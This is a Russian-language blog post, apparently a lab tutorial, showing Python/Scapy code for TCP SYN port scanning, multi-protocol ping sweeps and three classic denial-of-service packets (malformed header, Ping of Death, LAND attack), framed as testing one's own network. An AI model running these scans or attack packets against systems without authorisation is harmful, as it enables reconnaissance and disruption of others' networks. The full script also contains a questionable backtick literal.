Главная

Friday, 30 October 2020

Python и Scapy - сладкая парочка #2.

Всем привет.

Продолжим нашу лабораторную работу с Python и Scapy. Начало здесь.

Сканирование порта TCP.

Самым первым шагом для любых потенциального хакеров почти всегда является попытка изучить какие службы открыты в данной сетевой среде с тем, чтобы они могли сосредоточить свои усилия на определённой атаке. Конечно, нам необходимо открыть определённые порты чтобы обслуживать своих потребителей, однако нам также следует закрыть все открытые порты, которые не являются обязательными для снижения имеющегося риска. Мы можем воспользоваться Scapy для осуществления простого сканирования открытых портов.

Мы можем отправить некий пакет SYN и посмотреть ответит ли определённый сервер с помощью SYN-ACK:

>>> p = sr1(IP(dst="10.0.0.14")/TCP(sport=666,dport=23,flags="S"))

>>> p.show()

###[ IP ]###

 version= 4L

 ihl= 5L

 tos= 0x0

 len= 40

 id= 25373

 flags= DF

 frag= 0L

 ttl= 62

 proto= tcp

 chksum= 0xc59b

 src= 10.0.0.14

 dst= 10.0.0.10

 options

###[ TCP ]###

 sport= telnet

 dport= 666

 seq= 0

 ack= 1

 dataofs= 5L

 reserved= 0L

 flags= RA

 window= 0

 chksum= 0x9907

 urgptr= 0

 options= {}

Отметим, что в приведённом здесь выводе определённый сервер отвечает RESET+ACK по порту TCP 23. Однако, порт TCP 22 открыт, тем самым возвращается SYN-ACK:

>>> p = sr1(IP(dst="10.0.0.14")/TCP(sport=666,dport=22,flags="S"))

>>> p.show()

###[ IP ]###

 version= 4L

<пропуск>

 proto= tcp

 chksum= 0x28b5

 src= 10.0.0.14

 dst= 10.0.0.10

 options

###[ TCP ]###

 sport= ssh

 dport= 666

<пропуск>

 flags= SA

<пропуск>


Мы также можем просканировать некий диапазон портов с 20 по 22; отметим, что мы применяем для отправки- приёма sr() вместо обычного sr1() отправить- принять- один- пакет:

>>> ans,unans = sr(IP(dst="10.0.0.14")/TCP(sport=666,dport=(20,22),flags="S"))

>>> for i in ans:

...     print i

...

(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ftp_data flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=40 id=4126 flags=DF frag=0L ttl=62 proto=tcp chksum=0x189b src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ftp_data dport=666 seq=0 ack=1 dataofs=5L reserved=0L flags=RA window=0 chksum=0x990a urgptr=0 |>>)

(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ftp flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=40 id=4127 flags=DF frag=0L ttl=62 proto=tcp chksum=0x189a src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ftp dport=666 seq=0 ack=1 dataofs=5L reserved=0L flags=RA window=0 chksum=0x9909 urgptr=0 |>>)

(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=62 proto=tcp chksum=0x28b5 src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=4187384571 ack=1 dataofs=6L reserved=0L flags=SA window=29200 chksum=0xaaab urgptr=0 options=[('MSS', 1460)] |>>)

>>>

Мы также можем определить некую сеть назначения вместо отдельного хоста. Как вы можете видеть из имеющегося блока 10.0.0.8/29 , хосты 10.0.0.9, 10.0.0.13 и 10.0.0.14 возвращаются с SA, что соответствует двум имеющимся сетевым устройствам и одному хосту:

>>> ans,unans = sr(IP(dst="10.0.0.8/29")/TCP(sport=666,dport=(22),flags="S"))

>>> for i in ans:

...     print(i)

...

(<IP frag=0 proto=tcp dst=10.0.0.9 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=7304 flags= frag=0L ttl=64 proto=tcp chksum=0x4a32 src=10.0.0.9 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=541401209 ack=1 dataofs=6L reserved=0L flags=SA window=17292 chksum=0xfd18 urgptr=0 options=[('MSS', 1444)] |>>)

(<IP frag=0 proto=tcp dst=10.0.0.14 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=62 proto=tcp chksum=0x28b5 src=10.0.0.14 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=4222593330 ack=1 dataofs=6L reserved=0L flags=SA window=29200 chksum=0x6a5b urgptr=0 options=[('MSS', 1460)] |>>)

(<IP frag=0 proto=tcp dst=10.0.0.13 |<TCP sport=666 dport=ssh flags=S |>>, <IP version=4L ihl=5L tos=0x0 len=44 id=41992 flags= frag=0L ttl=254 proto=tcp chksum=0x4ad src=10.0.0.13 dst=10.0.0.10 options=[] |<TCP sport=ssh dport=666 seq=2167267659 ack=1 dataofs=6L reserved=0L flags=SA window=4128 chksum=0x1252 urgptr=0 options=[('MSS', 536)] |>>)

Основываясь на том, что мы освоили на данный момент, мы можем сделать простой сценарий для многократного применения, scapy_tcp_scan.py. Мы начнём с предложенного импорта Scapy и модуля sys для получения аргументов:

#!/usr/bin/env python2

from scapy.all import *

import sys

Наша функция tcp_scan() аналогична тому, что мы видели ранее до этого момента:

def tcp_scan(destination, dport):

    ans, unans = sr(IP(dst=destination)/TCP(sport=666,dport=dport,flags="S"))

    for sending, returned in ans:

        if 'SA' in str(returned[TCP].flags):

            return destination + " port " + str(sending[TCP].dport) + "is open"

        else:

            return destination + " port " + str(sending[TCP].dport) + "is not open"

Затем мы можем достать ввод из аргументов, а потом вызвать свою функцию tcp_scan() из main():

def main():

    destination = sys.argv[1]

    port = int(sys.argv[2])

    scan_result = tcp_scan(destination, port)

    print(scan_result)


if __name__ == "__main__":

    main()

Помните, что для Scapy необходим доступ с правами root, таким образом нашему сценарию понадобится исполнение в виде sudo.

Полный вариант кода:

#!/usr/bin/env python2


from scapy.all import *

import sys


def tcp_scan(destination, dport):

    ans, unans = sr(IP(dst=destination)/TCP(sport=777,dport=dport,flags="S"))

    for sending, returned in ans:

        if  `18` in str(returned[TCP].flags):

            return destination + " port " + str(sending[TCP].dport) + "is open"

        else:

            return destination + " port " + str(sending[TCP].dport) + "is not open"


def main():

    destination = sys.argv[1]

    port = int(sys.argv[2])

    scan_result = tcp_scan(destination, port)

    print(scan_result)


if __name__ == "__main__":

    main()


admin1@admin1-VirtualBox:~$ sudo python scapy_tcp_scan.py "10.0.0.14" 23

<пропуск>

10.0.0.14 port 23 is not open

admin1@admin1-VirtualBox:~$ sudo python scapy_tcp_scan.py "10.0.0.14" 22

<пропуск>

10.0.0.14 port 22 is open

Замечу что str(returned[TCP].flags) возвращает "18" как преобразование из двоичного значения полученных флагов, а не "SA" как было указано вначале.



Это относительно длинный пример нашего сканирования TCP, который демонстрирует значительную мощность обработки вручную ваших собственных пакетов с помощью Scapy. Он выполняет в определённом интерактивном режиме, а затем завершается использованием некоего простого сценария. Давайте рассмотрим некоторые дополнительные примеры использования Scapy для проверки безопасности.

Собираем свой ping.

Давайте предположим, что наша сетевая среда содержит некий замес машин Windows, Unix и Linux, причём пользователи добавляют свои собственные BYOD (Bring Your Own Device, Приветствуются собственные устройства); они могут поддерживать, а могут и нет ping ICMP. Сейчас мы сконструируем некий файл с тремя типами обычного ping для своей сетевой среды, а именно ping ICMP, TCP и UDP в scapy_ping_collection.py:

#!/usr/bin/env python2

from scapy.all import *


def icmp_ping(destination):

# обычный ICMP ping

    ans, unans = sr(IP(dst=destination)/ICMP())

    return ans


def tcp_ping(destination, dport):

# Сканирование TCP SYN

    ans, unans = sr(IP(dst=destination)/TCP(dport=dport,flags="S"))

    return ans


def udp_ping(destination):

# Ошибка недоступности порта ICMP для закрытого порта

    ans, unans = sr(IP(dst=destination)/UDP(dport=0))

    return ans

     

В данном примере мы также применим summary() и sprintf() для своего вывода:

def answer_summary(answer_list):

 # Пример лямбда с удобной печатью

    answer_list.summary(lambda(s, r): r.sprintf("%IP.src% is alive"))

     

Затем мы можем исполнить все три типа ping в имеющейся сетевой среде в одном сценарии:

def main():

    print("** ICMP Ping **")

    ans = icmp_ping("10.0.0.13-14")

    answer_summary(ans)

    print("** TCP Ping **")

    ans = tcp_ping("10.0.0.13", 22)

    answer_summary(ans)

    print("** UDP Ping **")

    ans = udp_ping("10.0.0.13-14")

    answer_summary(ans)


if __name__ == "__main__":

    main()

На данном этапе, как я надеюсь, вы согласитесь со мной в том, что, имея возможность создавать свой собственный пакет, вы можете отвечать за тот тип операций и проверок, которые вы бы желали запустить.


Простые атаки.

В этом примере использования Scapy давайте рассмотрим как мы можем построить свой пакет для проведения некоторых видов атак, таких как Ping of Death (Ping смерти) и LAND Attack (Отказ в обслуживании LAN). Иногда вы вначале вы первоначально платите за некое коммерческое программное обеспечение для тестирования проникновения. С помощью Scapy вы сможете проводить собственную проверку, сопровождаемую полным контролем помимо добавления дополнительных тестов в последующем.

Самая первая атака в основном отправляет определённому хосту получателя некий поддельный заголовок IP, например, с длиной 2 и версией IP 3:

def malformed_packet_attack(host):

    send(IP(dst=host, ihl=2, version=3)/ICMP())

     

Атака Ping of Death заключается в постоянной отправке пакета ICMP с полезной нагрузкой, превышающей 65 535 байт:

def ping_of_death_attack(host):

    # https://en.wikipedia.org/wiki/Ping_of_death

    send(fragment(IP(dst=host)/ICMP()/("X"*60000)))

    

Атака LAND Attack желает перенаправлять все отклики клиента обратно самому этому клиенту и исчерпывает имеющиеся у данного хоста ресурсы:

def land_attack(host):

    # https://en.wikipedia.org/wiki/Denial-of-service_attack

    send(IP(src=host, dst=host)/TCP(sport=135,dport=135))

     

Это достаточно старые уязвимости или классические атаки, к которым больше не восприимчивы все современные операционные системы. Для нашего хоста Ubuntu 18.04.5 никакая из предыдущих атак не приводит к его падению. Однако, при обнаружении дополнительных проблем безопасности, Scapy является великолепным инструментом для того, чтобы начать проверку вашей собственной сетевой среды без необходимости ожидания помощи от производителя с предоставлением вам платных средств проверки. Это в особенности верно для атак нулевого дня (появления без предварительного уведомления), которые всё чаще и чаще встречаются во Интернете.

Удачи.

No comments:

Post a Comment

А что вы думаете по этому поводу?